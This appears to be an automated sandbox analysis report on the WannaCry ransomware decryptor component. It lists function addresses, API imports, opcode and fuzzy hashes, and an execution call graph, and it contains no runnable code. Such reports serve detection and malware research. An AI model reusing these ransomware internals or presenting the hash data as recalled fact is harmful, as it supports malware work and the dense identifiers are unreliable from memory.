                                        • Instruction ID: d4ee5e4a134dc88e0fb0520758ee2c50d42c0b6297011b3ab606eb820e3435c7
                                        • Opcode Fuzzy Hash: 8cae4badaefa13b91853eadf55a8840a780c3bb417d72a3b214d508dff938200
                                        • Instruction Fuzzy Hash: 1501B5B46047209BC714EF1895047EFBBD46FC4718F40881EEAC557382E6B898058B99
                                        Function 00404CF0 Relevance: 6.0, APIs: 4, Instructions: 37COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D2C
                                        • #2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D4B
                                        • #800.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D5E
                                        • #641.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D6D
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2414$#641#800
                                        • String ID:
                                        • API String ID: 2580907805-0
                                        • Opcode ID: 16959137cf9ed8865fc6a78509c90b23480716c09409454935714356ef62aba6
                                        • Instruction ID: 6757f658c1b9d10fae8a918e1fd1a20a9830f850e3759812b0851a74ca26fea9
                                        • Opcode Fuzzy Hash: 16959137cf9ed8865fc6a78509c90b23480716c09409454935714356ef62aba6
                                        • Instruction Fuzzy Hash: F3012975508B42CBC300DF19C54538AFBE8BBE4710F54491EE095877A1D7F851998BD6
                                        Function 00404170 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                        • #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                        • #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                        • #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #800$#2414#795
                                        • String ID:
                                        • API String ID: 932896513-0
                                        • Opcode ID: de7d764f310d2b07daedf415afe273c0a0adcf5a3115b404c86b6cccc177a748
                                        • Instruction ID: 4f5e1f32c4d0deb5ef0c4e05178b03e64e757a210687b4ed5005f9af419c08f7
                                        • Opcode Fuzzy Hash: de7d764f310d2b07daedf415afe273c0a0adcf5a3115b404c86b6cccc177a748
                                        • Instruction Fuzzy Hash: A3018F74108792CFC300DF19C14138AFFE4ABA4720F54491EE091833A2D7F85198CBE6
                                        Function 00402E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON
                                        Download Yara Rule
                                        APIs
                                        • #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
                                        • #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #825
                                        • String ID: j'@
                                        • API String ID: 41483190-370697233
                                        • Opcode ID: 9c0cb0aced43a296d20ff8ffc4d70ac1f7ba505f3886b3a42eb6c6f4aca8c5be
                                        • Instruction ID: 592289367714aa5b9ee555d1ba3af08658367c911d5aba0fbb12e5c1e921281d
                                        • Opcode Fuzzy Hash: 9c0cb0aced43a296d20ff8ffc4d70ac1f7ba505f3886b3a42eb6c6f4aca8c5be
                                        • Instruction Fuzzy Hash: 771185B62046008FC724CF19D18096BFBE6FF99320714893EE29A97380D376EC05CBA5
                                        Function 00407650 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2379.MFC42 ref: 00407692
                                          • Part of subcall function 004076A0: time.MSVCRT ref: 004076DA
                                        • #2379.MFC42(00000001), ref: 00407667
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2379$time
                                        • String ID: Wana Decrypt0r 2.0
                                        • API String ID: 2017816395-4201229886
                                        • Opcode ID: 6fa7a2fc7c6a80e94799593ebee71b884435da4c0666664eaea2c240bbcf3164
                                        • Instruction ID: 44448bb0997210edcc5ff830349606876b09c28d76a722c823a6afa91302379c
                                        • Opcode Fuzzy Hash: 6fa7a2fc7c6a80e94799593ebee71b884435da4c0666664eaea2c240bbcf3164
                                        • Instruction Fuzzy Hash: 58E08631B0491017D6117B19A942B9F51845B60724F104C3FF506FA2C2E96E7D9183DF

                                        Execution Graph

                                        Execution Coverage:41.9%
                                        Dynamic/Decrypted Code Coverage:0%
                                        Signature Coverage:1.1%
                                        Total number of Nodes:2000
                                        Total number of Limit Nodes:375
                                        execution_graph 8887 bc60bc 8888 bc60c3 strerror 8887->8888 8898 d13842 8888->8898 8890 bc60f5 8893 bc6112 strerror 8890->8893 8897 bc6144 8890->8897 8891 bc6159 free 8892 bc616b 8891->8892 8895 bc63ec __stack_chk_fail 8892->8895 8896 bc63f1 8892->8896 8894 d13842 32 API calls 8893->8894 8894->8897 8895->8896 8897->8891 8897->8892 8899 d13874 8898->8899 8900 d138a9 8898->8900 8904 d12e50 8899->8904 8902 d138b7 __stack_chk_fail 8900->8902 8903 d138bc 8900->8903 8902->8903 8903->8890 8905 d12e5d 8904->8905 8906 d12f84 8905->8906 8908 d12f7f abort 8905->8908 8921 d320d9 8906->8921 8908->8906 8909 d12f90 8915 d1307c 8909->8915 8927 d1284f 8909->8927 8911 d131e8 8916 d13200 __stack_chk_fail 8911->8916 8917 d13205 8911->8917 8913 d131a6 8913->8911 8918 d131e3 abort 8913->8918 8915->8913 8919 d1284f 12 API calls 8915->8919 8942 d12d3b 8915->8942 8916->8917 8917->8900 8918->8911 8919->8915 8922 d3212e 8921->8922 8923 d320fd 8921->8923 8924 d3214a __stack_chk_fail 8922->8924 8925 d3214f 8922->8925 8926 d32129 abort 8923->8926 8924->8925 8925->8909 8926->8922 8928 d1289c 8927->8928 8956 d12523 8928->8956 8930 d12a11 8931 d12a2b memcpy 8930->8931 8932 d12a4f 8930->8932 8931->8932 8934 d12ac8 strlen 8932->8934 8937 d12a80 8932->8937 8933 d128e0 8933->8930 8941 d12a01 strlen 8933->8941 8934->8937 8941->8930 8943 d12d83 8942->8943 8948 d12de2 8942->8948 8944 d12e0b 8943->8944 8949 d12d8d 8943->8949 8971 d255c5 8944->8971 8945 d12e49 __stack_chk_fail 8946 d12e4e 8945->8946 8946->8915 8948->8945 8948->8946 8949->8948 8950 d19d53 31 API calls 8949->8950 8950->8948 8957 d12552 8956->8957 8963 d18f30 8957->8963 8960 d1261b 8961 d12673 8960->8961 8962 d1266e __stack_chk_fail 8960->8962 8961->8933 8962->8961 8964 d18f8b localtime 8963->8964 8967 d18f5a 8963->8967 8965 d18fb9 8964->8965 8966 d18f9f memcpy 8964->8966 8968 d18fe5 __stack_chk_fail 8965->8968 8969 d125ef strftime 8965->8969 8966->8965 8970 d18f86 abort 8967->8970 8968->8969 8969->8960 8970->8964 8972 d2563a 8971->8972 8976 d25609 8971->8976 8973 d25675 _write 8972->8973 8978 d2569f 8972->8978 8973->8972 8974 d256c2 __stack_chk_fail 8975 d256c7 8974->8975 8975->8948 8977 d25635 abort 8976->8977 8977->8972 8978->8974 8978->8975 9007 bc76bd 9008 bc76c1 9007->9008 9010 bc76ef 9007->9010 9009 d13842 32 API calls 9008->9009 9016 bc76e5 9009->9016 9013 bc7732 9010->9013 9015 bc775d 9010->9015 9011 bc77a9 9012 bc77a4 __stack_chk_fail 9012->9011 9014 d13842 32 API calls 9013->9014 9014->9016 9022 dec5d8 evutil_secure_rng_init 9015->9022 9016->9011 9016->9012 9019 bc778f 9027 ce38c7 9019->9027 9020 d13842 32 API calls 9020->9019 9023 dec5fe 9022->9023 9024 dec61e evutil_secure_rng_add_bytes evutil_secure_rng_get_bytes 9023->9024 9025 dec65b __stack_chk_fail 9024->9025 9026 bc7767 9024->9026 9025->9026 9026->9019 9026->9020 9029 ce38dc 9027->9029 9028 ce38f4 9030 ce3905 9028->9030 9031 ce3900 __stack_chk_fail 9028->9031 9029->9028 9033 ccf6a9 9029->9033 9030->9016 9031->9030 9034 ccf6be 9033->9034 9054 d259c5 9034->9054 9037 ccf765 9038 ccf707 9055 d25a26 9054->9055 9057 d259f5 9054->9057 9092 d213ee 9055->9092 9058 d25a21 abort 9057->9058 9058->9055 9059 d25a31 9060 d25a7c _stati64 9059->9060 9061 d13842 32 API calls 9059->9061 9062 d25ab3 9060->9062 9063 d25aa1 free 9060->9063 9061->9060 9064 d25bf3 9062->9064 9065 d25abd 9062->9065 9063->9062 9066 d13842 32 API calls 9064->9066 9074 d25b0b 9064->9074 9069 d25b15 9065->9069 9070 d25acb strerror 9065->9070 9066->9074 9067 d25c45 __stack_chk_fail 9068 ccf703 9067->9068 9068->9037 9068->9038 9071 d25b23 9069->9071 9072 d25bb0 9069->9072 9078 d13842 32 API calls 9070->9078 9073 d13842 32 API calls 9071->9073 9072->9074 9077 d13842 32 API calls 9072->9077 9074->9067 9074->9068 9077->9074 9078->9074 9093 d21412 9092->9093 9094 d21443 _strdup 9092->9094 9101 d2143e abort 9093->9101 9095 d2148f 9094->9095 9096 d2145f 9094->9096 9098 d214a2 9095->9098 9099 d2149d __stack_chk_fail 9095->9099 9097 d13842 32 API calls 9096->9097 9100 d21483 exit 9097->9100 9098->9059 9099->9098 9100->9095 9101->9094 9102 c23d44 9103 c23d99 9102->9103 9106 c23d68 9102->9106 9132 c23c99 9103->9132 9108 c23d94 abort 9106->9108 9107 c23c99 34 API calls 9109 c23dcb 9107->9109 9108->9103 9110 c23c99 34 API calls 9109->9110 9111 c23de4 9110->9111 9112 c23c99 34 API calls 9111->9112 9113 c23dfd 9112->9113 9114 c23c99 34 API calls 9113->9114 9115 c23e16 9114->9115 9116 c23c99 34 API calls 9115->9116 9117 c23e2f 9116->9117 9118 c23c99 34 API calls 9117->9118 9119 c23e48 9118->9119 9120 c23c99 34 API calls 9119->9120 9121 c23e5e 9120->9121 9122 c23c99 34 API calls 9121->9122 9123 c23e77 9122->9123 9124 c23c99 34 API calls 9123->9124 9125 c23e8d 9124->9125 9126 c23c99 34 API calls 9125->9126 9130 c23ea3 9126->9130 9133 c23d31 9132->9133 9136 c23cbb 9132->9136 9134 c23d42 9133->9134 9135 c23d3d __stack_chk_fail 9133->9135 9134->9107 9135->9134 9136->9133 9137 d13842 32 API calls 9136->9137 9138 c23d11 9137->9138 9138->9133 9139 c23d1f free 9138->9139 9139->9133 9140 bd4235 9141 bd4240 9140->9141 9142 bd42a4 9141->9142 9143 bd4371 9141->9143 9149 bd4421 9141->9149 9144 d13842 32 API calls 9142->9144 9145 bd4394 9143->9145 9143->9149 9148 bd42d1 9144->9148 9153 d13842 32 API calls 9145->9153 9146 bd4538 9147 bd4533 __stack_chk_fail 9147->9146 9150 d13842 32 API calls 9148->9150 9152 bd42dc 9148->9152 9151 d13842 32 API calls 9149->9151 9149->9152 9150->9152 9151->9152 9152->9146 9152->9147 9153->9152 9154 bc43b5 9159 bc43e1 9154->9159 9155 bc4409 9156 bc441a 9155->9156 9157 bc4415 __stack_chk_fail 9155->9157 9157->9156 9159->9155 9160 c87868 9159->9160 9161 c87888 9160->9161 9162 c878dd 9160->9162 9163 d13842 32 API calls 9161->9163 9170 c875c0 time 9162->9170 9168 c878ac 9163->9168 9166 c87909 9166->9159 9167 c87904 __stack_chk_fail 9167->9166 9169 c878d8 abort 9168->9169 9169->9162 9171 c875fd 9170->9171 9185 bc4c42 9171->9185 9192 bc53ca 9171->9192 9195 bc4af9 9171->9195 9172 c87614 9173 d13842 32 API calls 9172->9173 9178 c87695 9172->9178 9179 c87652 9173->9179 9174 c876e7 9175 c876f6 event_add 9174->9175 9176 c87729 9175->9176 9177 c87724 __stack_chk_fail 9175->9177 9176->9166 9176->9167 9177->9176 9178->9174 9180 c876e2 abort 9178->9180 9179->9175 9181 c87690 abort 9179->9181 9180->9174 9181->9178 9199 d3cc1c RAND_poll 9185->9199 9188 bc4c8b 9190 bc4c9b __stack_chk_fail 9188->9190 9191 bc4ca0 9188->9191 9189 d13842 32 API calls 9189->9188 9190->9191 9191->9172 9193 bc53dd 9192->9193 9194 bc53d8 __stack_chk_fail 9192->9194 9193->9172 9194->9193 9198 bc4b28 9195->9198 9196 bc4b6e 9196->9172 9197 bc4b69 __stack_chk_fail 9197->9196 9198->9196 9198->9197 9200 d3cc48 9199->9200 9201 d3cc6c 9199->9201 9202 d13842 32 API calls 9200->9202 9211 d3c901 9201->9211 9202->9201 9205 d3cc90 RAND_seed 9206 d3cca3 9205->9206 9207 d3ccca RAND_status 9206->9207 9208 d3ccd4 9206->9208 9207->9208 9209 bc4c63 9208->9209 9210 d3cceb __stack_chk_fail 9208->9210 9209->9188 9209->9189 9210->9209 9212 d3c92e 9211->9212 9220 d3c95f 9211->9220 9213 d3c95a abort 9212->9213 9213->9220 9214 d3ca15 9216 d13842 32 API calls 9214->9216 9217 d3c9d5 9216->9217 9218 d3ca49 __stack_chk_fail 9217->9218 9219 d3ca4e 9217->9219 9218->9219 9219->9205 9219->9206 9220->9214 9220->9217 9221 d3c9b1 9220->9221 9223 d3c797 9220->9223 9222 d13842 32 API calls 9221->9222 9222->9217 9224 d3c7f5 9223->9224 9225 d3c7c4 9223->9225 9227 d3c833 9224->9227 9229 d3c85e 9224->9229 9226 d3c7f0 abort 9225->9226 9226->9224 9230 d13842 32 API calls 9227->9230 9228 d3c857 9232 d3c8c7 __stack_chk_fail 9228->9232 9233 d3c8cc 9228->9233 9229->9228 9231 d13842 32 API calls 9229->9231 9230->9228 9231->9228 9232->9233 9233->9220 9234 bca737 9235 bca74c 9234->9235 9236 bca758 SetProcessDEPPolicy 9235->9236 9237 bca767 9235->9237 9236->9237 9238 bca774 time 9237->9238 9242 bca788 9238->9242 9239 bca93d __stack_chk_fail 9240 bca942 9239->9240 9241 bca857 9243 d13842 32 API calls 9241->9243 9242->9241 9244 bca81d 9242->9244 9245 bca84b evutil_secure_rng_set_urandom_device_file 9242->9245 9246 bca7c3 9242->9246 9243->9246 9247 d13842 32 API calls 9244->9247 9245->9241 9246->9239 9246->9240 9247->9246 9248 c61fcb 9253 c61dc5 9248->9253 9251 c62062 9252 c6205d __stack_chk_fail 9252->9251 9254 c61e14 9253->9254 9255 c61e64 9254->9255 9256 c61e5f abort 9254->9256 9257 c61e81 9255->9257 9258 c61eb9 9255->9258 9256->9255 9259 d13842 32 API calls 9257->9259 9260 c61f35 9258->9260 9264 c61eee 9258->9264 9266 c61eb4 9259->9266 9260->9266 9267 c62bf9 9260->9267 9262 c61fc2 9262->9251 9262->9252 9263 c61fbd __stack_chk_fail 9263->9262 9265 d13842 32 API calls 9264->9265 9265->9266 9266->9262 9266->9263 9268 c62c8e 9267->9268 9269 c62c5d 9267->9269 9270 c62ccd 9268->9270 9273 c62cc8 abort 9268->9273 9271 c62c89 abort 9269->9271 9272 c62d26 9270->9272 9275 c62d21 abort 9270->9275 9271->9268 9274 c62d60 abort 9272->9274 9276 c62d65 9272->9276 9273->9270 9274->9276 9275->9272 9277 d13842 32 API calls 9276->9277 9278 c62e39 9276->9278 9277->9278 9279 d13842 32 API calls 9278->9279 9287 c62e7f 9278->9287 9279->9287 9280 c62ee5 9282 c62f38 9280->9282 9283 c62efa 9280->9283 9281 c62f94 9286 c62fae 9281->9286 9294 c63036 9281->9294 9282->9281 9284 c62f6b 9282->9284 9288 d13842 32 API calls 9283->9288 9285 d13842 32 API calls 9284->9285 9293 c62f33 9285->9293 9289 d13842 32 API calls 9286->9289 9287->9280 9290 c62ee0 abort 9287->9290 9288->9293 9289->9293 9290->9280 9291 c633fe 9291->9266 9292 c633f9 __stack_chk_fail 9292->9291 9293->9291 9293->9292 9295 c6307a memcpy 9294->9295 9296 c630fa 9295->9296 9298 c63213 9296->9298 9300 c63124 9296->9300 9299 c6325a 9298->9299 9302 c63234 time 9298->9302 9303 c63266 time 9299->9303 9304 c63258 9299->9304 9352 beceb7 9300->9352 9302->9304 9303->9304 9306 c632df 9304->9306 9307 c6332d 9304->9307 9308 d13842 32 API calls 9306->9308 9309 c63344 9307->9309 9310 c6338f 9307->9310 9308->9293 9311 d13842 32 API calls 9309->9311 9313 c63779 9310->9313 9311->9293 9354 becf12 9352->9354 9353 bed082 memset 9356 bed0d7 9353->9356 9354->9353 9355 becfe1 memset 9354->9355 9365 bed027 9355->9365 9361 bed11f 9356->9361 9364 bed11a abort 9356->9364 9360 bed074 9360->9353 9364->9361 9365->9360 9367 d13842 32 API calls 9365->9367 9367->9360 9524 bdc132 9525 bdc178 9524->9525 9532 bdb1e0 9525->9532 9527 bdc2c8 9528 bdc2c3 __stack_chk_fail 9528->9527 9529 bdc2a7 9529->9527 9529->9528 9530 bdc1b7 9530->9529 9531 d13842 32 API calls 9530->9531 9531->9529 9537 bdb133 9532->9537 9534 bdb226 9535 bdb25c 9534->9535 9536 bdb257 __stack_chk_fail 9534->9536 9535->9530 9536->9535 9542 bdafe9 9537->9542 9539 bdb154 9540 bdb17e __stack_chk_fail 9539->9540 9541 bdb183 9539->9541 9540->9541 9541->9534 9547 d21144 9542->9547 9545 bdb01d __stack_chk_fail 9546 bdb022 9545->9546 9546->9539 9548 d2107e 36 API calls 9547->9548 9549 d21165 memset 9548->9549 9550 d21190 __stack_chk_fail 9549->9550 9551 bdb012 9549->9551 9550->9551 9551->9545 9551->9546 9552 c319d3 9553 c319f6 9552->9553 9554 c319fb 9552->9554 9558 d18b88 9553->9558 9556 c31a21 __stack_chk_fail 9554->9556 9557 c31a26 9554->9557 9556->9557 9559 d18ba6 9558->9559 9566 d18c32 9558->9566 9568 d18b20 memset GetSystemInfo 9559->9568 9560 d18c51 9560->9554 9561 d18c4c __stack_chk_fail 9561->9560 9563 d18bf3 9565 d13842 32 API calls 9563->9565 9563->9566 9564 d18bab 9564->9563 9567 d18bee abort 9564->9567 9565->9566 9566->9560 9566->9561 9567->9563 9569 d18b62 9568->9569 9570 d18b81 __stack_chk_fail 9569->9570 9571 d18b86 9569->9571 9570->9571 9571->9564 9572 d436c7 9574 d43716 9572->9574 9575 d43747 9572->9575 9573 d43804 9578 d21144 38 API calls 9573->9578 9577 d43742 abort 9574->9577 9576 d43786 9575->9576 9581 d43781 abort 9575->9581 9579 d437c5 9576->9579 9582 d437c0 abort 9576->9582 9577->9575 9580 d43819 9578->9580 9579->9573 9583 d437ff abort 9579->9583 9584 d4385e inflateInit2_ 9580->9584 9581->9576 9582->9579 9583->9573 9585 d43881 9584->9585 9587 d438c5 9584->9587 9588 d13842 32 API calls 9585->9588 9586 d438c0 9590 d43cb6 inflateEnd 9586->9590 9591 d43ce1 9586->9591 9587->9586 9589 d2107e 36 API calls 9587->9589 9588->9586 9615 d438f5 9589->9615 9590->9591 9592 d43ccf free 9590->9592 9593 d43cfb free 9591->9593 9620 d43c92 9591->9620 9592->9591 9593->9620 9594 d43d26 9595 d43d21 __stack_chk_fail 9595->9594 9596 d43922 inflate 9596->9615 9597 d43bfb inflateEnd 9605 d43c45 9597->9605 9606 d43c33 free 9597->9606 9598 d4395a inflateEnd 9600 d4396e 9598->9600 9598->9615 9599 d43a4a 9602 d13842 32 API calls 9599->9602 9603 d13842 32 API calls 9600->9603 9602->9586 9603->9586 9604 d43a9b 9607 d13842 32 API calls 9604->9607 9609 d43c71 9605->9609 9610 d43c4b 9605->9610 9606->9605 9607->9586 9608 d439aa inflateInit2_ 9612 d439d1 9608->9612 9608->9615 9617 d21282 32 API calls 9609->9617 9609->9620 9613 d13842 32 API calls 9610->9613 9611 d43947 9614 d13842 32 API calls 9611->9614 9623 d13842 32 API calls 9612->9623 9613->9586 9614->9586 9615->9596 9615->9597 9615->9598 9615->9599 9615->9604 9615->9608 9615->9611 9616 d43ada 9615->9616 9618 d43b0c 9615->9618 9622 d21282 32 API calls 9615->9622 9624 d43b72 9615->9624 9619 d13842 32 API calls 9616->9619 9617->9620 9621 d13842 32 API calls 9618->9621 9619->9586 9620->9594 9620->9595 9621->9586 9622->9615 9623->9586 9625 d13842 32 API calls 9624->9625 9625->9586 9626 bc15ab 9627 bc15b6 9626->9627 9628 bc15dc 9627->9628 9629 bc15d7 __stack_chk_fail 9627->9629 9629->9628 9630 bdea25 9635 bdfee4 time 9630->9635 9633 bdeabc 9634 bdeab7 __stack_chk_fail 9634->9633 9638 bdff4d 9635->9638 9639 bdff7e 9635->9639 9636 be0003 9637 be007e 9636->9637 9649 be0019 9636->9649 9644 be00e0 9637->9644 9645 be00a0 9637->9645 9640 bdff79 abort 9638->9640 9641 bdffbd 9639->9641 9642 bdffb8 abort 9639->9642 9640->9639 9641->9636 9643 bdfffe abort 9641->9643 9642->9641 9643->9636 9647 be014e 9644->9647 9650 be0149 abort 9644->9650 9651 d13842 32 API calls 9645->9651 9646 be01b2 9648 be01cc 9646->9648 9654 be0243 9646->9654 9647->9646 9653 be01ad abort 9647->9653 9659 be02b8 9647->9659 9657 be01ea 9648->9657 9648->9659 9652 d13842 32 API calls 9649->9652 9650->9647 9672 be0079 9651->9672 9652->9672 9653->9646 9654->9659 9660 be02b3 abort 9654->9660 9655 bdea53 9655->9633 9655->9634 9656 be0783 __stack_chk_fail 9656->9655 9658 d13842 32 API calls 9657->9658 9658->9672 9663 be04ee 9659->9663 9664 be046c 9659->9664 9660->9659 9663->9672 9673 c14518 9663->9673 9665 d13842 32 API calls 9664->9665 9665->9672 9666 be0610 9667 d13842 32 API calls 9666->9667 9668 be0679 9667->9668 9671 be0755 time 9668->9671 9669 be0697 9670 d13842 32 API calls 9669->9670 9670->9671 9671->9672 9672->9655 9672->9656 9678 c10d7d 9673->9678 9675 c14541 9676 c14595 __stack_chk_fail 9675->9676 9677 be0608 9675->9677 9676->9677 9677->9666 9677->9669 9679 c10dd8 9678->9679 9684 c10da7 9678->9684 9680 c10e21 9679->9680 9686 bde526 9679->9686 9682 c10e32 9680->9682 9683 c10e2d __stack_chk_fail 9680->9683 9682->9675 9683->9682 9685 c10dd3 abort 9684->9685 9685->9679 9687 bde55c 9686->9687 9688 bde58d 9686->9688 9689 bde588 abort 9687->9689 9690 bde5cc 9688->9690 9692 bde5c7 abort 9688->9692 9689->9688 9691 bde613 9690->9691 9693 bde60e abort 9690->9693 9694 bde655 abort 9691->9694 9698 bde65a 9691->9698 9692->9690 9693->9691 9694->9698 9695 bde735 9696 bde7a5 9695->9696 9697 bde7a0 __stack_chk_fail 9695->9697 9696->9680 9697->9696 9698->9695 9699 bde730 abort 9698->9699 9699->9695 9704 d1ff4b 9705 d20039 9704->9705 9709 d1ff71 9704->9709 9706 d20045 __stack_chk_fail 9705->9706 9707 d2004a 9705->9707 9706->9707 9708 d2000c 9721 d1e1d3 9708->9721 9711 d1ffc9 9709->9711 9716 d1e4a9 9709->9716 9711->9708 9715 d20007 abort 9711->9715 9713 d20025 free 9713->9705 9715->9708 9717 d1e4cd free 9716->9717 9718 d1e4df 9716->9718 9717->9718 9719 d1e4f0 9718->9719 9720 d1e4eb __stack_chk_fail 9718->9720 9719->9709 9720->9719 9722 d1e1f2 9721->9722 9723 d1e1ff 9721->9723 9727 d2174b 9722->9727 9725 d1e220 __stack_chk_fail 9723->9725 9726 d1e225 9723->9726 9725->9726 9726->9705 9726->9713 9728 d21781 9727->9728 9729 d2176f free 9727->9729 9730 d21792 9728->9730 9731 d2178d __stack_chk_fail 9728->9731 9729->9728 9730->9723 9731->9730 11739 bc5fa6 11740 d13842 32 API calls 11739->11740 11741 bc5fca 11740->11741 11742 d13842 32 API calls 11741->11742 11743 bc6032 11742->11743 11744 bc63ec __stack_chk_fail 11743->11744 11745 bc63f1 11743->11745 11744->11745 9732 d25c4c 9733 d25c74 strchr 9732->9733 9734 d25cbe strlen 9732->9734 9733->9734 9737 d25c8b 9733->9737 9741 d26865 9734->9741 9740 d13842 32 API calls 9737->9740 9740->9734 9742 d26893 9741->9742 9747 d267db 9742->9747 9748 d26814 9747->9748 9749 d19d53 32 API calls 9748->9749 9750 d26829 9749->9750 9755 d265e9 9750->9755 9768 d25cfa 9755->9768 9757 d2663c 9759 d26762 __stack_chk_fail 9757->9759 9760 d26767 9757->9760 9758 d2674c 9800 d26573 9758->9800 9759->9760 9761 d255c5 3 API calls 9764 d26633 9761->9764 9763 d2669c strerror 9766 d13842 32 API calls 9763->9766 9764->9757 9764->9758 9764->9761 9764->9763 9767 d26730 abort 9764->9767 9766->9757 9767->9764 9769 d21144 38 API calls 9768->9769 9772 d25d2e 9769->9772 9770 d25db6 9771 d25dfb 9770->9771 9777 d25df6 abort 9770->9777 9774 d213ee 36 API calls 9771->9774 9773 d25d77 9772->9773 9775 d25d72 abort 9772->9775 9773->9770 9776 d25db1 abort 9773->9776 9778 d25e10 9774->9778 9775->9773 9776->9770 9777->9771 9805 d159c4 9778->9805 9781 d25ec3 strerror 9789 d13842 32 API calls 9781->9789 9782 d25f0c 9783 d25f66 9782->9783 9811 d16bc4 _lseek 9782->9811 9787 d26020 9783->9787 9788 d2601b __stack_chk_fail 9783->9788 9787->9764 9788->9787 9790 d25f0a 9789->9790 9792 d25f83 _close 9790->9792 9793 d25f91 9790->9793 9791 d25f2b strerror 9794 d13842 32 API calls 9791->9794 9792->9793 9795 d25fc4 9793->9795 9796 d25fac free 9793->9796 9794->9790 9797 d25fd5 free 9795->9797 9798 d25feb 9795->9798 9796->9795 9797->9798 9798->9783 9806 d15a30 _open 9805->9806 9807 d159fe 9805->9807 9809 d15a5a __stack_chk_fail 9806->9809 9810 d15a5f 9806->9810 9808 d13842 32 API calls 9807->9808 9808->9806 9809->9810 9810->9781 9810->9782 9812 d16bfb 9811->9812 9813 d16c12 __stack_chk_fail 9812->9813 9814 d16c17 9812->9814 9813->9814 9814->9783 9814->9791 9865 bc2f9c 9866 bc3005 9865->9866 9869 bc2fd4 9865->9869 9867 d13842 32 API calls 9866->9867 9868 bc3053 9867->9868 9881 bf2121 9868->9881 9870 bc3000 abort 9869->9870 9870->9866 9872 bc319d time 9873 bc31b8 9872->9873 9875 bc31c9 9873->9875 9887 bc2d88 9873->9887 9874 bc3071 9874->9872 9879 d13842 32 API calls 9874->9879 9877 bc31da 9875->9877 9878 bc31d5 __stack_chk_fail 9875->9878 9878->9877 9880 bc30d0 9879->9880 9880->9872 9882 bf2142 9881->9882 9893 bf16c8 9882->9893 9885 bf217f __stack_chk_fail 9886 bf2184 9885->9886 9886->9874 9892 bc2da1 9887->9892 9888 bc2def 9889 bc2dfb __stack_chk_fail 9888->9889 9890 bc2e00 9888->9890 9889->9890 9890->9875 9892->9888 10114 bc31e0 9892->10114 9895 bf16f2 9893->9895 9894 bf1752 9896 bf17af 9894->9896 9897 bf1781 9894->9897 9926 